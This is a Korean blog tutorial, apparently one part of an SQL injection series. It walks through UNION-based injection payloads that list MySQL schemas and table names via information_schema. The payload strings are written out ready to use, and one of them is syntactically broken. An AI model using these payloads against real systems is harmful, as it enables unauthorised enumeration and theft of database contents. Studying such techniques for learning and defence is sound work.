안녕하세요
베비온입니다.
저번에 했던거를 조금 짧게 나타내보겠습니다.
저번엔 테이블명도 많고 많아서 뭘 봐야할지 모르겠었지만 이번엔 다르게 접근해보겠습니다.
DB 알아내기
select '1','2','3','4','5',schema_name,'7','8','9','10','11' from information_schema.schemata --
결과화면입니다.
보통은 php안에서 sql을 사용하기위해 미리 db를 지정합니다.
테이블과 컬럼을 가져오기위해 사용해봤습니다. ㅎ;;
이 db를 가지고 table명을 알아볼까요
테이블명 알아내기
a' union select '1','2','3',table_schema,'5',table_name,'7','8','9','10','11' from information_schema.tables --
이 결과가 이전에 했던 select table_name from information_schema.tables가 됩니다.
어떤 db안에 어떤 테이블이 있는지 확인을 해보겠습니다.
위에있는 db목록들중에서 test라는 db를 먼저 살펴볼까요?
a' union select '1','2','3',table_schema,'5',table_name,'7','8','9','10',11' from information_schema.tables from table_schema='test' --
test라는 db(writer쪽)안에 test1과 test2라는 테이블명이 있습니다(title)
이번엔 members라는 db의 테이블을 볼까요?
a' union select '1','2','3',table_schema,'5',table_name,'7','8','9','10','11' from information_schema.tables where table_schema='members' --
같은 방법으로 컬럼을 가져올 수 있습니다.여기부턴 저번이랑 같네요 ㅎㅎ
※information_schema 는 mysql 5.0이상부터 사용가능합니다.
information_schema를 쿼리하는것은 전체 데이터구조를 열거하는 것을 허용합니다.
'Hacking > SQL Injection' 카테고리의 다른 글
7.SQL Injection>회원정보 출력 (0) | 2017.04.30 |
---|---|
6.SQL Injection>테이블 명, 컬럼 명 알아내기 (0) | 2017.04.30 |
5.SQL Injection를 위한 UNION (0) | 2017.04.27 |